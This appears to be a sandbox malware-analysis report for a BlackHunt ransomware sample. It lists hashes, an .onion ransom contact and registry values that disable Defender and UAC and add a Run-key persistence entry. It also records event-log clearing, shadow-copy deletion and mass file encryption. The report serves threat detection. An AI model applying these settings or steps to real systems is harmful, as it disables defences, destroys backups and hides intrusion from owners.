Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:35
Static task
static1
Behavioral task
behavioral1
Sample
15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Resource
win10v2004-20231215-en
General
-
Target
15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
-
Size
707KB
-
MD5
0fc015a616d55212c820288cd29e22ed
-
SHA1
cbb4afaf68028f69c529b6ccbeda8f230180bb09
-
SHA256
15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa
-
SHA512
48dc15f303fba45a9c419ea2df72f329dda4ad451d2902500b474c44f62a8d6f5644de566dc8cea2e89de5619dacc8dd4b033416783feb583e8fc028641264a6
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8lvnh:6uaTmkZJ+naie5OTamgEoKxLWdBh
Malware Config
Extracted
C:\Program Files\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2916 fsutil.exe 4052 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3344 wevtutil.exe 2896 wevtutil.exe 3372 wevtutil.exe 3892 wevtutil.exe 2864 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1028 bcdedit.exe 2656 bcdedit.exe 3620 bcdedit.exe 3868 bcdedit.exe -
Renames multiple (2888) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 1364 wbadmin.exe 2004 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 3116 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\E: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\L: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\V: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\U: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\N: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\R: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\T: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\A: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\X: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\I: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\P: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\H: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\J: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\K: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\Y: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\S: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\G: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\Z: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\B: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened (read-only) \??\M: 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-execution.xml 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\SetCheckpoint.ogg 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\alt-rt.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Bissau 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Canary 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EET 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\DVD Maker\Shared\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Syowa 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfont.properties.ja 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_es.properties 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\CompareComplete.mpeg3 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Zurich 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_zh_CN.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\amd64\jvm.cfg 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\New_York 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\DVD Maker\rtstreamsource.ax 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations_2.4.0.v20131119-0908.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiler.xml 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Inuvik 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\7-Zip\Lang\lij.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_Private.key 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_ReadMe.txt 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Tell_City 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File created C:\Program Files\Java\jre7\lib\jfr\#BlackHunt_ReadMe.hta 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Hermosillo 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2836 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1152 vssadmin.exe 1824 vssadmin.exe 3368 vssadmin.exe 2532 vssadmin.exe 860 vssadmin.exe 1932 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 4028 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2992 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeRestorePrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeBackupPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeTakeOwnershipPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeAuditPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeSecurityPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeIncBasePriorityPrivilege 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Token: SeBackupPrivilege 1796 vssvc.exe Token: SeRestorePrivilege 1796 vssvc.exe Token: SeAuditPrivilege 1796 vssvc.exe Token: SeBackupPrivilege 2348 wbengine.exe Token: SeRestorePrivilege 2348 wbengine.exe Token: SeSecurityPrivilege 2348 wbengine.exe Token: SeSecurityPrivilege 3892 wevtutil.exe Token: SeBackupPrivilege 3892 wevtutil.exe Token: SeSecurityPrivilege 3372 wevtutil.exe Token: SeBackupPrivilege 3372 wevtutil.exe Token: SeSecurityPrivilege 3344 wevtutil.exe Token: SeSecurityPrivilege 2864 wevtutil.exe Token: SeBackupPrivilege 3344 wevtutil.exe Token: SeBackupPrivilege 2864 wevtutil.exe Token: SeSecurityPrivilege 2896 wevtutil.exe Token: SeBackupPrivilege 2896 wevtutil.exe Token: SeDebugPrivilege 4028 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2148 wrote to memory of 2212 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 29 PID 2148 wrote to memory of 2212 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 29 PID 2148 wrote to memory of 2212 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 29 PID 2148 wrote to memory of 2212 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 29 PID 2148 wrote to memory of 2652 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 31 PID 2148 wrote to memory of 2652 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 31 PID 2148 wrote to memory of 2652 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 31 PID 2148 wrote to memory of 2652 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 31 PID 2148 wrote to memory of 2364 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 33 PID 2148 wrote to memory of 2364 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 33 PID 2148 wrote to memory of 2364 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 33 PID 2148 wrote to memory of 2364 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 33 PID 2212 wrote to memory of 2892 2212 cmd.exe 34 PID 2212 wrote to memory of 2892 2212 cmd.exe 34 PID 2212 wrote to memory of 2892 2212 cmd.exe 34 PID 2148 wrote to memory of 2436 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 35 PID 2148 wrote to memory of 2436 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 35 PID 2148 wrote to memory of 2436 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 35 PID 2148 wrote to memory of 2436 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 35 PID 2652 wrote to memory of 2664 2652 cmd.exe 36 PID 2652 wrote to memory of 2664 2652 cmd.exe 36 PID 2652 wrote to memory of 2664 2652 cmd.exe 36 PID 2148 wrote to memory of 2764 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 39 PID 2148 wrote to memory of 2764 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 39 PID 2148 wrote to memory of 2764 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 39 PID 2148 wrote to memory of 2764 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 39 PID 2148 wrote to memory of 3056 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 41 PID 2148 wrote to memory of 3056 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 41 PID 2148 wrote to memory of 3056 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 41 PID 2148 wrote to memory of 3056 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 41 PID 2364 wrote to memory of 2728 2364 cmd.exe 42 PID 2364 wrote to memory of 2728 2364 cmd.exe 42 PID 2364 wrote to memory of 2728 2364 cmd.exe 42 PID 2148 wrote to memory of 2684 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 43 PID 2148 wrote to memory of 2684 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 43 PID 2148 wrote to memory of 2684 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 43 PID 2148 wrote to memory of 2684 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 43 PID 2148 wrote to memory of 2884 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 45 PID 2148 wrote to memory of 2884 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 45 PID 2148 wrote to memory of 2884 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 45 PID 2148 wrote to memory of 2884 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 45 PID 2436 wrote to memory of 2864 2436 cmd.exe 46 PID 2436 wrote to memory of 2864 2436 cmd.exe 46 PID 2436 wrote to memory of 2864 2436 cmd.exe 46 PID 2148 wrote to memory of 2708 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 47 PID 2148 wrote to memory of 2708 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 47 PID 2148 wrote to memory of 2708 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 47 PID 2148 wrote to memory of 2708 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 47 PID 2764 wrote to memory of 2752 2764 cmd.exe 48 PID 2764 wrote to memory of 2752 2764 cmd.exe 48 PID 2764 wrote to memory of 2752 2764 cmd.exe 48 PID 2148 wrote to memory of 2888 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 50 PID 2148 wrote to memory of 2888 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 50 PID 2148 wrote to memory of 2888 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 50 PID 2148 wrote to memory of 2888 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 50 PID 3056 wrote to memory of 2528 3056 cmd.exe 52 PID 3056 wrote to memory of 2528 3056 cmd.exe 52 PID 3056 wrote to memory of 2528 3056 cmd.exe 52 PID 2148 wrote to memory of 2600 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 53 PID 2148 wrote to memory of 2600 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 53 PID 2148 wrote to memory of 2600 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 53 PID 2148 wrote to memory of 2600 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 53 PID 2148 wrote to memory of 2744 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 56 PID 2148 wrote to memory of 2744 2148 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe 56 -
System policy modification 1 TTPs 3 IoCs
